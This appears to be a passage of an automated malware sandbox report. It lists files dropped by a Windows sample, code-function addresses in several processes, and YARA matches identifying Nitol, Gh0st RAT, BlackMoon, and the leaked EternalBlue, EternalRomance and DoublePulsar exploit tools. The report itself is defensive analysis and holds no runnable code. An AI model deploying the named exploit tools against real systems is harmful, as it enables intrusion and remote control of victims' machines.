Source: C:\Windows\Microsoft.NET\Meson.exe	File created: C:\Windows\Microsoft.NET\.node_id
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\pid
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\traffmonetizer\storage.json

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File deleted: C:\Windows\Temp\__PSScriptPolicyTest_w5ziaupn.qx4.ps1

Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_00453111	0_2_00453111
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0041E26D	0_2_0041E26D
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_004313B7	0_2_004313B7
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_004175A4	0_2_004175A4
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_00433717	0_2_00433717
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: 0_2_0041AC83	0_2_0041AC83
Source: C:\Windows\Temp\MpMgSvc.exe	Code function: 21_2_0041830B	21_2_0041830B
Source: C:\Windows\Temp\MpMgSvc.exe	Code function: 21_2_00414F85	21_2_00414F85
Source: C:\Windows\Temp\MpMgSvc.exe	Code function: 21_2_0048C246	21_2_0048C246
Source: C:\Windows\Temp\MpMgSvc.exe	Code function: 21_2_00430670	21_2_00430670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00418460	29_2_00418460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00415010	29_2_00415010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00416CE0	29_2_00416CE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00419490	29_2_00419490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00418890	29_2_00418890
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0041ACA0	29_2_0041ACA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00413550	29_2_00413550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00418D30	29_2_00418D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_004159C1	29_2_004159C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00419200	29_2_00419200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00415716	29_2_00415716
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_0041A720	29_2_0041A720
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_00410A16	55_2_00410A16
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_00417C0F	55_2_00417C0F
Source: C:\Windows\Temp\Wmicc.exe	Code function: 55_2_00414781	55_2_00414781
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B89E439	61_2_00007FFD9B89E439
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B890B88	61_2_00007FFD9B890B88
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8A9316	61_2_00007FFD9B8A9316
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B89F25D	61_2_00007FFD9B89F25D
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B893A44	61_2_00007FFD9B893A44
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8ACFC1	61_2_00007FFD9B8ACFC1
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B89165E	61_2_00007FFD9B89165E
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8AC619	61_2_00007FFD9B8AC619
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B890640	61_2_00007FFD9B890640
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8A7D50	61_2_00007FFD9B8A7D50
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B890C70	61_2_00007FFD9B890C70
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8941C6	61_2_00007FFD9B8941C6
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8940FA	61_2_00007FFD9B8940FA
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B894138	61_2_00007FFD9B894138
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8A0FFA	61_2_00007FFD9B8A0FFA
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8A0EFA	61_2_00007FFD9B8A0EFA
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8964A0	61_2_00007FFD9B8964A0
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9B8AB670	61_2_00007FFD9B8AB670
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9BAD9750	61_2_00007FFD9BAD9750
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9BAD1138	61_2_00007FFD9BAD1138
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Code function: 61_2_00007FFD9BAD135D	61_2_00007FFD9BAD135D

Source: C:\Windows\Temp\Wmicc.exe	Code function: String function: 0040D638 appears 49 times
Source: C:\Users\user\Desktop\exe1.bin.bak.exe	Code function: String function: 00413AC4 appears 40 times

Source: exe1.bin.bak.exe	Binary or memory string: OriginalFilename vs exe1.bin.bak.exe
Source: exe1.bin.bak.exe, 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMPRLOG.DLLf# vs exe1.bin.bak.exe
Source: exe1.bin.bak.exe, 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMPRLOG.DLLj% vs exe1.bin.bak.exe
Source: exe1.bin.bak.exe, 00000000.00000003.1630690322.0000000000621000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMPRLOG.DLLf# vs exe1.bin.bak.exe

Source: exe1.bin.bak.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 0.2.exe1.bin.bak.exe.42854f.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 21.2.MpMgSvc.exe.5442d0.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 55.0.Wmicc.exe.49fae8.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 55.0.Wmicc.exe.4242e0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 21.2.MpMgSvc.exe.4c8ac8.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.exe1.bin.bak.exe.43df2f.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 21.2.MpMgSvc.exe.4a47e8.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 21.2.MpMgSvc.exe.4a47e8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 21.2.MpMgSvc.exe.625266.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: Backdoor_Nitol_Jun17 date = 2017-06-04, hash1 = cba19d228abf31ec8afab7330df3c9da60cd4dae376552b503aea6d7feff9946, author = Florian Roth, description = Detects malware backdoor Nitol - file wyawou.exe - Attention: this rule also matches on Upatre Downloader, reference = https://goo.gl/OOB3mH, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: GhostDragon_Gh0stRAT date = 2016-04-23, hash4 = b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5, hash3 = 6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df, hash2 = 99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2, hash1 = f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197, author = Florian Roth, description = Detects Gh0st RAT mentioned in Cylance\' Ghost Dragon Report, reference = https://blog.cylance.com/the-ghost-dragon, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Nitol_Malware_Jan19_1 date = 2019-01-14, hash1 = fe65f6a79528802cb61effc064476f7b48233fb0f245ddb7de5b7cc8bb45362e, author = Florian Roth, description = Detects Nitol Malware, reference = https://twitter.com/shotgunner101/status/1084602413691166721
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Nitol author = ditekSHen, description = Detects Nitol backdoor
Source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.exe1.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: APT17_Sample_FXSST_DLL date = 2015-05-14, author = Florian Roth, description = Detects Samples related to APT17 activity - file FXSST.DLL, reference = https://goo.gl/ZiJyQv, hash = 52f1add5ad28dc30f68afda5d41b354533d8bce3
Source: 0.2.exe1.bin.bak.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 0.2.exe1.bin.bak.exe.448f60.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 55.0.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 55.2.Wmicc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 21.2.MpMgSvc.exe.628e79.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 21.2.MpMgSvc.exe.628e79.6.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 21.2.MpMgSvc.exe.628e79.6.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 21.2.MpMgSvc.exe.625266.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 21.2.MpMgSvc.exe.625266.5.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 21.2.MpMgSvc.exe.625266.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 21.2.MpMgSvc.exe.60c853.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 21.2.MpMgSvc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_BlackMoon author = ditekSHen, description = Detects executables using BlackMoon RunTime
Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Windows_Exploit_Eternalblue_ead33bf8 reference_sample = a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7, os = windows, severity = x86, creation_date = 2021-01-12, scan_context = file, license = Elastic License v2, threat_name = Windows.Exploit.Eternalblue, fingerprint = 9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd, id = ead33bf8-1870-4d01-a223-edcbe262542f, last_modified = 2021-08-23
Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance date = 2017-04-15, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
Source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR	Matched rule: Regin_Related_Malware date = 2015-06-03, author = Florian Roth, description = Malware Sample - maybe Regin related, score = VT Analysis, license = https://creativecommons.org/licenses/by-nc/4.0/, hash = 76c355bfeb859a347e38da89e3d30a6ff1f94229
Source: Process Memory Space: MpMgSvc.exe PID: 7432, type: MEMORYSTR	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Eternalblue-2.2.0.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\coli-0.dll, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Eternalblue-2.2.0.exe, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Doublepulsar-1.3.1.xml, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Doublepulsar_1_3_1 date = 2017-04-15, hash1 = 15ffbb8d382cd2ff7b0bd4c87a7c0bffd1541c2fe86865af445123bc0b770d13, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: C:\Windows\Temp\Eternalromance-1.4.0.exe, type: DROPPED	Matched rule: EquationGroup_Toolset_Apr17_Eternalromance_2 date = 2017-04-15, hash3 = 92c6a9e648bfd98bbceea3813ce96c6861487826d6b2c3d462debae73ed25b34, hash2 = b99c3cc1acbb085c9a895a8c3510f6daaf31f0d2d9ccb8477c7fb7119376f57b, author = Florian Roth, description = Detects EquationGroup Tool - April Leak, reference = https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation, license = https://creativecommons.org/licenses/by-nc/4.0/, super_rule = f1ae9fdbb660aae3421fd3e5b626c1e537d8e9ee2f9cd6d56cb70b6878eaca5d
